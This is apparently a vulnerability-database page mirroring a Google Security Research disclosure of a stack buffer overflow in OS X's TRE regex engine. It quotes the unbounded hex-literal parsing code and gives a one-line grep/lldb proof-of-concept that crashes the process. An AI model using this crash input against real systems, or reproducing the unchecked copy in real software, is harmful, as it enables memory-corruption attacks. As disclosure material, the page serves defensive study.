Lucene search
K

OS X Regex Engine (TRE) - Stack Buffer Overflow Vulnerability

🗓️ 22 Sep 2015 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 81 Views

OS X Regex Engine (TRE) Stack Buffer Overflow Vulnerability. OS X Libc uses TRE regex engine in enhanced mode that supports arbitrary-width hex literals. This allows a buffer overflow vulnerability by blindly copying hex characters from the regex into a 32-byte stack buffer

Related
Code
Source: https://code.google.com/p/google-security-research/issues/detail?id=428
 
OS X Libc uses the slightly obscure TRE regex engine [ http://laurikari.net/tre/ ]
 
If used in enhanced mode (by passing the REG_ENHANCED flag to regcomp) TRE supports arbitrary-width hex literals. Here is the code used to parse them:
 
  /* Wide char. */
  char tmp[32];
  long val;
  int i = 0;
  ctx->re++;
  while (ctx->re_end - ctx->re >= 0)
    {
      if (ctx->re[0] == CHAR_RBRACE)
        break;
      if (tre_isxdigit_l(ctx->re[0], ctx->loc))
        {
    tmp[i] = (char)ctx->re[0];
    i++;
    ctx->re++;
    continue;
        }
      return REG_EBRACE;
    }
 
ctx->re points to the regex characters. This code blindly copies hex characters from the regex into the 32 byte stack buffer tmp until it encounters either a non-hex character or a '}'...
 
I'm still not sure exactly what's compiled with REG_ENHANCED but at least grep is; try this PoC on an OS X machine:
 
lldb -- grep "\\\\x{`perl -e 'print "A"x1000;'`}" /bin/bash
 
That should crash trying to read and write pointers near 0x4141414141414141
 
Severity Medium because I still need to find either a priv-esc or remote context in which you can control the regex when REG_ENHANCED is enabled.

#  0day.today [2018-01-10]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation